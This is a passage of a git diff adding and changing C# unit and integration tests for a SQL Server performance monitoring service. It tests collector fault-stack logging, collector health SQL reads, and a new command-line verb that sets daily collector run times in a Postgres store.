+        Assert.NotNull(log.TakeFirst("pg_log_events", Thrown(bug)));
+        Assert.Null(log.TakeFirst("pg_log_events", Thrown(bug)));
+
+        var text = new CollectorFaultStackLog().TakeFirst("pg_log_events", Thrown(bug));
+        Assert.Contains("System.InvalidOperationException", text, StringComparison.Ordinal);
+    }
+
+    /// <summary>The failure arm is where an out-of-memory run lands, and building the text allocates.</summary>
+    [Fact]
+    public void AnOutOfMemoryFailureGetsNoStackAndUsesUpNothing()
+    {
+        var log = new CollectorFaultStackLog();
+
+        Assert.Null(log.TakeFirst("wait_stats", new OutOfMemoryException()));
+        Assert.Null(log.TakeFirst("wait_stats", new InsufficientMemoryException()));
+        Assert.Null(log.TakeFirst("wait_stats", new OutOfMemoryException()));
+    }
+
+    /// <summary>
+    /// The RDS ingestors wrap every fault that is not a cancellation in <see cref="RdsLogUnavailableException"/>, so an
+    /// out-of-memory read reaches the failure arm one level down. It takes the one-line arm like a bare one, wherever it
+    /// sits under the wrapper, and a wrapper over any other cause still gets its stack.
+    /// </summary>
+    [Fact]
+    public void AnOutOfMemoryUnderAWrapperGetsNoStackEither()
+    {
+        var log = new CollectorFaultStackLog();
+
+        var wrapped = new RdsLogUnavailableException("The log read failed.", false, new OutOfMemoryException());
+        var deeper = new InvalidOperationException("outer", new RdsLogUnavailableException("The log read failed.", false, new InsufficientMemoryException()));
+        var outerOverOther = new OutOfMemoryException("outer", new HttpRequestException("unreachable"));
+
+        Assert.Null(log.TakeFirst("pg_log_events", Thrown(wrapped)));
+        Assert.Null(log.TakeFirst("pg_log_events", Thrown(wrapped)));
+        Assert.Null(log.TakeFirst("pg_deadlocks", Thrown(deeper)));
+        Assert.Null(log.TakeFirst("pg_plan_capture", Thrown(outerOverOther)));
+
+        var network = new RdsLogUnavailableException("unreachable", false, new HttpRequestException("unreachable"));
+
+        Assert.NotNull(log.TakeFirst("pg_log_events", Thrown(network)));
+    }
+
+    /// <summary>An exception whose own <see cref="Exception.ToString"/> throws, as a type with a faulty override could.</summary>
+    private sealed class UnrenderableException : Exception
+    {
+        public UnrenderableException() : base("this exception cannot render itself") { }
+
+        public override string ToString() => throw new InvalidOperationException("ToString failed");
+    }
+
+    /// <summary>
+    /// The kind is claimed after the text is built. When building it throws, the kind still logs once, with a short line
+    /// that names the exception and what threw, and the second failure of the kind gets nothing.
+    /// </summary>
+    [Fact]
+    public void AnExceptionWhoseTextCannotBeBuiltStillLogsItsKindOnceWithAShortLine()
+    {
+        var log = new CollectorFaultStackLog();
+
+        var first = log.TakeFirst("pg_log_events", Thrown(new UnrenderableException()));
+
+        Assert.NotNull(first);
+        Assert.Contains(nameof(UnrenderableException), first, StringComparison.Ordinal);
+        Assert.Contains("System.InvalidOperationException", first, StringComparison.Ordinal);
+        Assert.DoesNotContain(Environment.NewLine, first, StringComparison.Ordinal);
+
+        Assert.Null(log.TakeFirst("pg_log_events", Thrown(new UnrenderableException())));
+        Assert.NotNull(log.TakeFirst("pg_deadlocks", Thrown(new UnrenderableException())));
+    }
+
+    [Fact]
+    public async Task EightRunsFailingTogetherInOneWayYieldExactlyOneStack()
+    {
+        var log = new CollectorFaultStackLog();
+        using var start = new Barrier(8);
+
+        var results = await Task.WhenAll(Enumerable.Range(0, 8).Select(i => Task.Factory.StartNew(
+            () =>
+            {
+                start.SignalAndWait();
+                return log.TakeFirst("pg_log_events", Thrown(new InvalidOperationException("run " + i)));
+            },
+            CancellationToken.None,
+            TaskCreationOptions.LongRunning,
+            TaskScheduler.Default))).WaitAsync(TimeSpan.FromSeconds(30));
+
+        Assert.Equal(1, results.Count(text => text is not null));
+    }
+
+    /// <summary>
+    /// The wiring, pinned from source because the failure arm needs a store to run. The one line every failure logs is
+    /// unchanged (<c>StoreCopyPhaseTests</c> pins its shape), the full text is a second line written only for the first
+    /// failure of a kind, and the timeout arm does not take it: its filter admits only a command timeout from the driver,
+    /// so a stack there would be driver frames, and the authored sentence already names everything that matters.
+    /// </summary>
+    [Fact]
+    public void OnlyTheGeneralFailureArmWritesTheFullTextAndItIsTheFirstOfAKindOnly()
+    {
+        var worker = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs");
+
+        Assert.Single(System.Text.RegularExpressions.Regex.Matches(worker, @"_collectorFaultStacks\.TakeFirst\(collectorName, ex\)"));
+
+        var errorLine = worker.IndexOf("=> ERROR: {Message}\",", StringComparison.Ordinal);
+        var detail = worker.IndexOf("_collectorFaultStacks.TakeFirst(collectorName, ex)", StringComparison.Ordinal);
+        var dropRuntime = worker.IndexOf("ConnectionFaultDisposition.ShouldDropRuntimeAsync(", detail, StringComparison.Ordinal);
+        var timeoutArm = worker.IndexOf("=> ERROR (timeout): {Message}", StringComparison.Ordinal);
+
+        Assert.True(timeoutArm > 0 && timeoutArm < errorLine, "The timeout arm comes before the general arm.");
+        Assert.True(errorLine < detail && detail < dropRuntime, "The full text is written after the one line and before the connection check.");
+
+        /* The timeout arm and everything up to the general arm's own line: no full text there. */
+        Assert.DoesNotContain("TakeFirst", worker[timeoutArm..errorLine], StringComparison.Ordinal);
+
+        /* Same exception object, not a copy, and a LogError so the level is the arm's own. */
+        Assert.Contains("_logger.LogError(ex,", worker[detail..dropRuntime], StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/CollectorHealthClassifierTests.cs b/Darling/Darling.Tests/CollectorHealthClassifierTests.cs
index 79d5aff1dd..3c6f0664c5 100644
--- a/Darling/Darling.Tests/CollectorHealthClassifierTests.cs
+++ b/Darling/Darling.Tests/CollectorHealthClassifierTests.cs
@@ -196,7 +196,7 @@ public void Classify_LongDormantCollector_WithNoRecentActivityOfAnyKind_IsStoppe
     [InlineData("DarlingDataReader.CollectionHealthSql")]
     [InlineData("DarlingFleetReader.FleetCollectionHealthSql")]
     [InlineData("ViewerDataService.CollectionHealthSql")]
-    [InlineData("ViewerDataService.FleetCollectionHealthSql")]
+    [InlineData("ViewerDataService.FleetCollectionHealthByServerSql")]
     public void EveryBandingRead_SelectsTheAbandonedCount_SoNoSurfaceBandsOnADefaultedZero(string which)
     {
         var sql = which switch
@@ -204,7 +204,7 @@ public void EveryBandingRead_SelectsTheAbandonedCount_SoNoSurfaceBandsOnADefault
             "DarlingDataReader.CollectionHealthSql" => DarlingDataReader.CollectionHealthSql,
             "DarlingFleetReader.FleetCollectionHealthSql" => DarlingFleetReader.FleetCollectionHealthSql,
             "ViewerDataService.CollectionHealthSql" => ViewerDataService.CollectionHealthSql,
-            "ViewerDataService.FleetCollectionHealthSql" => ViewerDataService.FleetCollectionHealthSql,
+            "ViewerDataService.FleetCollectionHealthByServerSql" => ViewerDataService.FleetCollectionHealthByServerSql,
             _ => throw new ArgumentOutOfRangeException(nameof(which), which, "unmapped banding read"),
         };
 
@@ -240,7 +240,7 @@ passed by matching nothing at all cannot hide here. */
     [InlineData("DarlingDataReader.CollectionHealthSql")]
     [InlineData("DarlingFleetReader.FleetCollectionHealthSql")]
     [InlineData("ViewerDataService.CollectionHealthSql")]
-    [InlineData("ViewerDataService.FleetCollectionHealthSql")]
+    [InlineData("ViewerDataService.FleetCollectionHealthByServerSql")]
     public void EveryBandingRead_SelectsTheExtensionMissingCount_SoNoSurfaceBandsOnADefaultedZero(string which)
     {
         var sql = which switch
@@ -248,7 +248,7 @@ public void EveryBandingRead_SelectsTheExtensionMissingCount_SoNoSurfaceBandsOnA
             "DarlingDataReader.CollectionHealthSql" => DarlingDataReader.CollectionHealthSql,
             "DarlingFleetReader.FleetCollectionHealthSql" => DarlingFleetReader.FleetCollectionHealthSql,
             "ViewerDataService.CollectionHealthSql" => ViewerDataService.CollectionHealthSql,
-            "ViewerDataService.FleetCollectionHealthSql" => ViewerDataService.FleetCollectionHealthSql,
+            "ViewerDataService.FleetCollectionHealthByServerSql" => ViewerDataService.FleetCollectionHealthByServerSql,
             _ => throw new ArgumentOutOfRangeException(nameof(which), which, "unmapped banding read"),
         };
 
@@ -562,17 +562,17 @@ public void EveryBandingRow_BandsWarning_OnTheNewestRunsNote_AndNotOnAnOlderOne(
     }
 
     /// <summary>Every read that builds a banding row selects the newest run's note, at the ordinal its mapper
-    /// reads; the viewer's fleet read gets it from plain aggregates (no window function), and the sentence its
+    /// reads (the per-server reads from the newest-run lookup, #4955, the status gate on the row it returns);
+    /// the viewer's fleet read gets it from plain aggregates (no window function), and the sentence its
     /// LIKE looks for is the one the writer writes.</summary>
     [Fact]
     public void EveryDarlingHealthRead_ProjectsTheNewestRunsNote()
     {
-        Assert.Contains("recency_rank = 1 AND status = 'SUCCESS' THEN error_message END) AS latest_run_note", DarlingDataReader.CollectionHealthSql, StringComparison.Ordinal);
-        Assert.Contains("AS latest_run_note", ViewerDataService.CollectionHealthSql, StringComparison.Ordinal);
-        Assert.Contains("AS recency_rank", ViewerDataService.CollectionHealthSql, StringComparison.Ordinal);
-        Assert.Contains("AS latest_run_note", ViewerDataService.FleetCollectionHealthSql, StringComparison.Ordinal);
-        Assert.DoesNotContain("ROW_NUMBER()", ViewerDataService.FleetCollectionHealthSql, StringComparison.Ordinal);
-        Assert.Contains(CollectionHealthRollupSupport.LatestRunNoteRawSql, ViewerDataService.FleetCollectionHealthSql, StringComparison.Ordinal);
+        Assert.Contains("CASE WHEN newest.status = 'SUCCESS' THEN newest.error_message END AS latest_run_note", DarlingDataReader.CollectionHealthSql, StringComparison.Ordinal);
+        Assert.Contains("CASE WHEN newest.status = 'SUCCESS' THEN newest.error_message END AS latest_run_note", ViewerDataService.CollectionHealthSql, StringComparison.Ordinal);
+        Assert.Contains("AS latest_run_note", ViewerDataService.FleetCollectionHealthByServerSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("ROW_NUMBER()", ViewerDataService.FleetCollectionHealthByServerSql, StringComparison.Ordinal);
+        Assert.Contains(CollectionHealthRollupSupport.LatestRunNoteRawSql, ViewerDataService.FleetCollectionHealthByServerSql, StringComparison.Ordinal);
         Assert.Contains($"'%{PartialDatabaseFailureNote.Marker}%'", CollectionHealthRollupSupport.LatestRunNoteRawSql, StringComparison.Ordinal);
         Assert.Contains(PartialDatabaseFailureNote.Marker, PartialDatabaseFailureNote.Format, StringComparison.Ordinal);
     }
diff --git a/Darling/Darling.Tests/CollectorMeasurementSeamTests.cs b/Darling/Darling.Tests/CollectorMeasurementSeamTests.cs
index 0010bf6e5e..08a5fa8099 100644
--- a/Darling/Darling.Tests/CollectorMeasurementSeamTests.cs
+++ b/Darling/Darling.Tests/CollectorMeasurementSeamTests.cs
@@ -47,6 +47,7 @@ namespace Darling.Tests;
 /// counts as SEPARATE pins, because a distinctness check over the combined message would pass on the
 /// numbers rather than on the verdicts.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public class CollectorMeasurementSeamTests
 {
     /* A rendered note may contain NOTHING but label=value tokens separated by single spaces. Anchored at
@@ -379,9 +380,11 @@ A quiet server and a server whose every captured report we failed to parse both
             MakeReader(new[] { null, "<not-a-blocked-process-report/>", ReportXml }), mixed, CancellationToken.None);
 
         Assert.Single(mixedRows);
-        Assert.Equal(
-            "events_read=3 report_xml_empty=1 report_xml_unparsed=1 events_stored=1",
-            CollectorMeasurementNote.Render(mixed.Measurements));
+        /* #4348: the good report's statements went through the statement filter, so a cycle that judged a value
+           also carries the four statement_scrub_* measurements, after the collector's own. */
+        var mixedNote = CollectorMeasurementNote.Render(mixed.Measurements);
+        Assert.StartsWith("events_read=3 report_xml_empty=1 report_xml_unparsed=1 events_stored=1 ", mixedNote, StringComparison.Ordinal);
+        Assert.Contains("statement_scrub_named=0 statement_scrub_timeouts=0 statement_scrub_unjudged=0 statement_scrub_ms=", mixedNote, StringComparison.Ordinal);
 
         /* The one that matters: the ring buffer delivered events and NOT ONE became a row. Indistinguishable
            from the quiet server above until this seam existed. */
@@ -584,6 +587,13 @@ this cycle. Both collectors declare their own const (same "shred_gated" string,
                    from its own trailing result set), so only one need be listed here for the distinct-label
                    set this assertion actually checks. */
                 BlockedProcessReportCollector.ShredGatedMeasurement,
+                /* #4348: the statement filter's four counters, measured by CollectorContext itself (the sessions a
+                   collector opens with BeginStatementScrub), which is why the consts live in CollectorContext.cs
+                   beside the four .Measure( calls. Written only when the cycle judged a value. */
+                CollectorContext.StatementScrubNamedMeasurement,
+                CollectorContext.StatementScrubTimeoutsMeasurement,
+                CollectorContext.StatementScrubUnjudgedMeasurement,
+                CollectorContext.StatementScrubMsMeasurement,
             }.OrderBy(l => l, StringComparer.Ordinal).ToList(),
             resolved.Distinct(StringComparer.Ordinal).OrderBy(l => l, StringComparer.Ordinal).ToList());
     }
diff --git a/Darling/Darling.Tests/CollectorMemoryKnobTests.cs b/Darling/Darling.Tests/CollectorMemoryKnobTests.cs
index 3944423895..23c67c52ad 100644
--- a/Darling/Darling.Tests/CollectorMemoryKnobTests.cs
+++ b/Darling/Darling.Tests/CollectorMemoryKnobTests.cs
@@ -135,6 +135,8 @@ making it public just to observe it. */
         lockField.SetValue(worker, new object());
         var loggerField = typeof(DarlingWorker).GetField("_logger", BindingFlags.NonPublic | BindingFlags.Instance)!;
         loggerField.SetValue(worker, NullLogger<DarlingWorker>.Instance);
+        typeof(DarlingWorker).GetField("_collectorFaultStacks", BindingFlags.NonPublic | BindingFlags.Instance)!
+            .SetValue(worker, new CollectorFaultStackLog());
 
         var reconcile = typeof(DarlingWorker).GetMethod("ReconcileSweepGate", BindingFlags.NonPublic | BindingFlags.Instance)!;
         var absorbed = typeof(DarlingWorker).GetField("_gateAbsorbed", BindingFlags.NonPublic | BindingFlags.Instance)!;
diff --git a/Darling/Darling.Tests/CollectorRunTimeCliVerbTests.cs b/Darling/Darling.Tests/CollectorRunTimeCliVerbTests.cs
new file mode 100644
index 0000000000..f2263fc974
--- /dev/null
+++ b/Darling/Darling.Tests/CollectorRunTimeCliVerbTests.cs
@@ -0,0 +1,485 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The <c>--set-collector-run-at</c> verb (#4938), without a store: its spelling, its strict grammar, the command the
+/// verb stands in for and the plan the executor makes of it (so the verb owns no SQL), the usage text, and the line
+/// the read-back prints for a row that carries a run time. The verb run end to end is
+/// <see cref="CollectorRunTimeCliVerbLiveTests"/>.
+/// </summary>
+public sealed class CollectorRunTimeCliVerbTests
+{
+    private const string Verb = "--set-collector-run-at";
+
+    private static bool Parse(string[] rest, out string? collector, out string? runAt, out string? server, out string? config, out string? error) =>
+        DarlingCliCommands.TryParseCollectorRunAtArgs(Verb, rest, out collector, out runAt, out server, out config, out error);
+
+    [Fact]
+    public void TheVerb_IsRecognisedBySpelling_CaseInsensitively_AndNoOtherVerbIs()
+    {
+        Assert.True(DarlingCliCommands.IsSetCollectorRunAtVerb("--set-collector-run-at"));
+        Assert.True(DarlingCliCommands.IsSetCollectorRunAtVerb("--SET-COLLECTOR-RUN-AT"));
+        Assert.False(DarlingCliCommands.IsSetCollectorRunAtVerb("--set-collector-run"));
+        Assert.False(DarlingCliCommands.IsSetCollectorRunAtVerb("--enable-collector"));
+        Assert.False(DarlingCliCommands.IsEnableCollectorVerb("--set-collector-run-at"));
+        Assert.False(DarlingCliCommands.IsDisableCollectorVerb("--set-collector-run-at"));
+    }
+
+    [Fact]
+    public void TheGrammar_IsACollectorAndATime_WithAnOptionalServerAndConfig_InAnyOrder()
+    {
+        Assert.True(Parse(new[] { "index_object_stats", "02:00" }, out var collector, out var runAt, out var server, out var config, out var error));
+        Assert.Equal("index_object_stats", collector);
+        Assert.Equal("02:00", runAt);
+        Assert.Null(server);
+        Assert.Null(config);
+        Assert.Null(error);
+
+        Assert.True(Parse(new[] { "--server", "sql01", "index_object_stats", "none", "--config", "darling.json" }, out collector, out runAt, out server, out config, out error));
+        Assert.Equal("index_object_stats", collector);
+        Assert.Equal("none", runAt);
+        Assert.Equal("sql01", server);
+        Assert.Equal("darling.json", config);
+
+        Assert.True(Parse(new[] { "index_object_stats", "default", "--server", "sql01" }, out _, out runAt, out server, out _, out _));
+        Assert.Equal("default", runAt);
+        Assert.Equal("sql01", server);
+    }
+
+    [Theory]
+    [InlineData(new string[0], "needs a collector name")]
+    [InlineData(new[] { "index_object_stats" }, "needs a time")]
+    [InlineData(new[] { "index_object_stats", "02:00", "extra" }, "takes ONE collector name and ONE time")]
+    [InlineData(new[] { "index_object_stats", "02:00", "--server" }, "--server needs a server name")]
+    [InlineData(new[] { "index_object_stats", "02:00", "--server", "--config", "x" }, "--server needs a server name")]
+    [InlineData(new[] { "index_object_stats", "02:00", "--config" }, "--config needs a path")]
+    [InlineData(new[] { "index_object_stats", "02:00", "--bogus" }, "Unknown option")]
+    public void TheGrammar_RefusesAnythingElse_NamingTheProblem(string[] rest, string expected)
+    {
+        Assert.False(Parse(rest, out _, out _, out _, out _, out var error));
+        Assert.Contains(expected, error, StringComparison.Ordinal);
+        Assert.Contains(Verb, error, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheUsageText_NamesTheThreeValues_TheScopes_AndTheCollectors()
+    {
+        var text = DarlingCliCommands.CollectorRunAtUsageText();
+
+        Assert.Contains("--set-collector-run-at <collector> <HH:MM|none|default> [--server <server>]", text, StringComparison.Ordinal);
+        Assert.Contains("HH:MM", text, StringComparison.Ordinal);
+        Assert.Contains("none", text, StringComparison.Ordinal);
+        Assert.Contains("default", text, StringComparison.Ordinal);
+        Assert.Contains("server time", text, StringComparison.Ordinal);
+        Assert.Contains("index_object_stats", text, StringComparison.Ordinal);
+    }
+
+    private static CommandPlan Plan(string collector, string runAt, int? serverId) =>
+        DarlingCliCommands.PlanCollectorRunAt(collector, runAt, serverId);
+
+    [Fact]
+    public void TheVerbsCommand_IsTheCommandPlanesSetCollectorRunAt_Row()
+    {
+        var command = DarlingCliCommands.BuildCollectorRunAtCommand("index_object_stats", "02:00", 7);
+
+        Assert.Equal("set_collector_run_at", command.CommandType);
+        Assert.Equal(7, command.TargetServerId);
+        Assert.Equal("cli", command.RequestedBy);
+        using var args = JsonDocument.Parse(command.ArgsJson!);
+        Assert.Equal("index_object_stats", args.RootElement.GetProperty("collector_name").GetString());
+        Assert.Equal("02:00", args.RootElement.GetProperty("run_at").GetString());
+
+        /* The verb's plan is the executor's plan for that command, nothing else: one write path. */
+        var viaExecutor = DarlingCommandExecutor.ResolvePlan(command);
+        var viaVerb = Plan("index_object_stats", "02:00", 7);
+        Assert.Equal(viaExecutor.Kind, viaVerb.Kind);
+        Assert.Equal(viaExecutor.Sql, viaVerb.Sql);
+        Assert.Equal(viaExecutor.Parameters, viaVerb.Parameters);
+    }
+
+    private const string FleetUpsert =
+        "INSERT INTO config.config_collector_run_times (server_id, collector_name, run_at_minute) VALUES (NULL, $1, $2) " +
+        "ON CONFLICT (collector_name) WHERE server_id IS NULL DO UPDATE SET run_at_minute = EXCLUDED.run_at_minute";
+
+    private const string ServerUpsert =
+        "INSERT INTO config.config_collector_run_times (server_id, collector_name, run_at_minute) VALUES ($1, $2, $3) " +
+        "ON CONFLICT (server_id, collector_name) WHERE server_id IS NOT NULL DO UPDATE SET run_at_minute = EXCLUDED.run_at_minute";
+
+    [Fact]
+    public void ATimeOrNone_UpsertsOneRunTimeRow_AndTouchesNoScheduleRow()
+    {
+        var fleet = Plan("index_object_stats", "02:00", serverId: null);
+        Assert.Equal(CommandKind.StoreWrite, fleet.Kind);
+        Assert.Equal(FleetUpsert, fleet.Sql);
+        Assert.Equal(new object?[] { "index_object_stats", (short)120 }, fleet.Parameters);
+        Assert.Equal("collector run time set (fleet-wide)", fleet.SuccessStatus);
+
+        var server = Plan("index_object_stats", "02:00", serverId: 7);
+        Assert.Equal(ServerUpsert, server.Sql);
+        Assert.Equal(new object?[] { 7, "index_object_stats", (short)120 }, server.Parameters);
+        Assert.Equal("collector run time set", server.SuccessStatus);
+
+        /* None on a server is -1 in the same upsert. */
+        var none = Plan("index_object_stats", "none", serverId: 7);
+        Assert.Equal(ServerUpsert, none.Sql);
+        Assert.Equal(new object?[] { 7, "index_object_stats", (short)-1 }, none.Parameters);
+
+        /* The run time has its own table: no plan names a schedule row or its enabled flag, so a collector that ships OFF
+           is never switched on as a side effect, and the schedule rows are neither read nor written. */
+        foreach (var plan in new[] { fleet, server, none, Plan("long_query_completions", "02:00", serverId: null) })
+        {
+            Assert.DoesNotContain("config_collector_schedules", plan.Sql, StringComparison.Ordinal);
+            Assert.DoesNotContain("enabled", plan.Sql, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void NoneOnTheFleet_AndDefault_DeleteTheScopesRow_WithoutCreatingOne()
+    {
+        const string FleetDelete = "DELETE FROM config.config_collector_run_times WHERE server_id IS NULL AND collector_name = $1";
+        const string ServerDelete = "DELETE FROM config.config_collector_run_times WHERE server_id = $1 AND collector_name = $2";
+
+        /* The fleet has no time to stop, so none there is the same as default: the row goes. */
+        foreach (var word in new[] { "none", "default", "Default", "NONE" })
+        {
+            var fleet = Plan("index_object_stats", word, serverId: null);
+            Assert.Equal(FleetDelete, fleet.Sql);
+            Assert.Equal(new object?[] { "index_object_stats" }, fleet.Parameters);
+            Assert.Equal("collector run time cleared (fleet-wide)", fleet.SuccessStatus);
+        }
+
+        var server = Plan("index_object_stats", "default", serverId: 7);
+        Assert.Equal(ServerDelete, server.Sql);
+        Assert.Equal(new object?[] { 7, "index_object_stats" }, server.Parameters);
+        Assert.Equal("collector run time cleared", server.SuccessStatus);
+    }
+
+    [Theory]
+    [InlineData("24:00")]
+    [InlineData("2:5")]
+    [InlineData("noon")]
+    [InlineData("")]
+    public void ABadTime_IsRefusedByThePlan_WithTheSharedText(string runAt)
+    {
+        var plan = Plan("index_object_stats", runAt, serverId: null);
+
+        Assert.Equal(CommandKind.Fail, plan.Kind);
+        Assert.Equal(CollectorRunTime.InvalidRunAtMessage, plan.FailReason);
+    }
+
+    [Fact]
+    public void AnUnknownCollector_AndAMissingArgument_AreRefusedByThePlan()
+    {
+        Assert.Equal(CommandKind.Fail, Plan("not_a_collector", "02:00", serverId: null).Kind);
+        Assert.Contains("unknown collector", Plan("not_a_collector", "02:00", serverId: null).FailReason, StringComparison.Ordinal);
+
+        Assert.Equal(CommandKind.Fail, DarlingCommandExecutor.ResolvePlan(
+            new ClaimedCommand(0, "set_collector_run_at", null, "{\"collector_name\":\"index_object_stats\"}", "cli")).Kind);
+        Assert.Equal(CommandKind.Fail, DarlingCommandExecutor.ResolvePlan(
+            new ClaimedCommand(0, "set_collector_run_at", null, "{\"run_at\":\"02:00\"}", "cli")).Kind);
+    }
+
+    [Fact]
+    public void TheReadBack_PrintsTheRunTimeRows_UnderTheirOwnHeading_AndNothingForACollectorWithNone()
+    {
+        var schedule = new[] { new DarlingCliCommands.CollectorScheduleReadbackRow(null, "index_object_stats", null, null, true, null, null) };
+
+        /* No run times: the read-back is exactly the schedule read-back it always was. */
+        var plain = DarlingCliCommands.FormatCollectorScheduleRows("index_object_stats", schedule);
+        Assert.DoesNotContain(plain, l => l.Contains("run_at=", StringComparison.Ordinal) || l.Contains("Run times", StringComparison.Ordinal));
+        Assert.Equal(plain, DarlingCliCommands.FormatCollectorScheduleRows(
+            "index_object_stats", schedule, Array.Empty<DarlingCliCommands.CollectorRunTimeReadbackRow>()));
+
+        var runTimes = new[]
+        {
+            new DarlingCliCommands.CollectorRunTimeReadbackRow(null, "index_object_stats", 120, null),
+            new DarlingCliCommands.CollectorRunTimeReadbackRow(7, "index_object_stats", -1, "sql01"),
+            new DarlingCliCommands.CollectorRunTimeReadbackRow(8, "index_object_stats", 195, null),
+        };
+
+        /* A run time needs no schedule row, so the run-time lines follow the "no override rows" line as well. */
+        var lines = DarlingCliCommands.FormatCollectorScheduleRows("index_object_stats", Array.Empty<DarlingCliCommands.CollectorScheduleReadbackRow>(), runTimes);
+        Assert.Contains(lines, l => l.Contains("(none", StringComparison.Ordinal));
+        var from = lines.ToList().IndexOf("Run times in the store for index_object_stats:");
+        Assert.True(from >= 0, "no run-time heading");
+        Assert.Equal("  fleet-wide: run_at=02:00 server time", lines[from + 1]);
+        Assert.Equal("  sql01 (server_id 7): run_at=none (no fixed time on this server)", lines[from + 2]);
+        Assert.Equal("  server_id 8 (not in the servers registry): run_at=03:15 server time", lines[from + 3]);
+    }
+
+    [Fact]
+    public void TheScheduleReadBack_NamesNoRunTime_AndTheRunTimeReadBackReadsItsOwnTable()
+    {
+        Assert.DoesNotContain("run_at_minute", DarlingCliCommands.CollectorScheduleReadbackSql, StringComparison.Ordinal);
+        Assert.Contains("FROM config.config_collector_run_times rt", DarlingCliCommands.CollectorRunTimeReadbackSql, StringComparison.Ordinal);
+        Assert.Contains("lower(rt.collector_name) = lower($1)", DarlingCliCommands.CollectorRunTimeReadbackSql, StringComparison.Ordinal);
+        Assert.Contains("run_at_minute", DarlingCliCommands.CollectorRunTimeReadbackSql, StringComparison.Ordinal);
+        foreach (var write in new[] { "INSERT", "UPDATE", "DELETE" })
+        {
+            Assert.DoesNotContain(write, DarlingCliCommands.CollectorRunTimeReadbackSql, StringComparison.OrdinalIgnoreCase);
+        }
+    }
+
+    [Fact]
+    public void TheMissingTableMessage_NamesTheTable_AndSaysToStartTheServiceOnce()
+    {
+        Assert.Equal(
+            "The store has not been upgraded to the run-time table yet. Start the service once to migrate it, then run --set-collector-run-at again.",
+            DarlingCliCommands.RunTimeTableMissingMessage("--set-collector-run-at"));
+    }
+}
+
+/// <summary>
+/// <c>--set-collector-run-at</c> run end to end (#4938) through <see cref="DarlingCliCommands.SetCollectorRunAtAsync"/>
+/// with a bring-your-own darling.json pointed at a scratch store: parse, plan, connect, check, write, read back,
+/// print. It asserts the rows the service will resolve, that the verb touches only the run time, and that a bad time or
+/// a collector that runs more often than daily is refused with the shared text and a non-zero exit code.
+/// </summary>
+/* #1776 own-store: each fact mints its own scratch database through ScratchPostgres and never touches the shared
+   store's tables, so it cannot race the live collection and serializing it would be pure slowdown. */
+public sealed class CollectorRunTimeCliVerbLiveTests
+{
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private const string SkipText = "Set DARLING_TEST_PG to a Postgres connection string to run the run-time verb end to end (each fact mints its own scratch database).";
+
+    private const string Daily = "index_object_stats";
+    private const int Sql01 = 4101;
+    private const int Sql02 = 4102;
+
+    private sealed class Rig : IAsyncDisposable
+    {
+        public required ScratchPostgres Scratch { get; init; }
+        public required NpgsqlConnection Connection { get; init; }
+        public required string ConfigPath { get; init; }
+        public required string Directory { get; init; }
+
+        public async ValueTask DisposeAsync()
+        {
+            await Connection.DisposeAsync();
+            await Scratch.DisposeAsync();
+            try { System.IO.Directory.Delete(Directory, recursive: true); } catch (Exception ex) when (ex is IOException or UnauthorizedAccessException) { }
+        }
+    }
+
+    private static async Task<Rig> OpenAsync(CancellationToken ct)
+    {
+        var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var directory = Path.Combine(Path.GetTempPath(), "darling-runat-" + Guid.NewGuid().ToString("N"));
+        System.IO.Directory.CreateDirectory(directory);
+        var configPath = Path.Combine(directory, "darling.json");
+        File.WriteAllText(configPath, $$"""
+            {
+              "postgres": {
+                "managed": false,
+                "connectionString": {{JsonSerializer.Serialize(scratch.ConnectionString)}}
+              },
+              "servers": []
+            }
+            """);
+
+        foreach (var (id, name) in new[] { (Sql01, "sql01"), (Sql02, "sql02") })
+        {
+            await ExecAsync(connection,
+                "INSERT INTO collect.servers (server_id, server_name, display_name, is_enabled, created_date, modified_date) " +
+                $"VALUES ({id}, '{name}', '{name}', TRUE, now() AT TIME ZONE 'UTC', now() AT TIME ZONE 'UTC')", ct);
+        }
+
+        return new Rig { Scratch = scratch, Connection = connection, ConfigPath = configPath, Directory = directory };
+    }
+
+    private static async Task<(int Exit, string Output, string Error)> RunAsync(Rig rig, CancellationToken ct, params string[] args)
+    {
+        var output = new StringWriter();
+        var error = new StringWriter();
+        var exit = await DarlingCliCommands.SetCollectorRunAtAsync(args.Concat(new[] { "--config", rig.ConfigPath }).ToArray(), output, error, ct);
+        return (exit, output.ToString(), error.ToString());
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<object?> ScalarAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return await command.ExecuteScalarAsync(ct);
+    }
+
+    private static string Scope(int? serverId) => serverId is int id ? $"server_id = {id}" : "server_id IS NULL";
+
+    /// <summary>Every stored run time as one text: <c>fleet/collector=minute</c> or <c>serverId/collector=minute</c>.</summary>
+    private static async Task<string> RunTimesAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        (string)(await ScalarAsync(connection,
+            "SELECT COALESCE(string_agg(COALESCE(server_id::text, 'fleet') || '/' || collector_name || '=' || run_at_minute, ',' ORDER BY server_id NULLS FIRST, collector_name), '') FROM config.config_collector_run_times", ct))!;
+
+    private static async Task<long> ScheduleRowsAsync(NpgsqlConnection connection, CancellationToken ct) =>
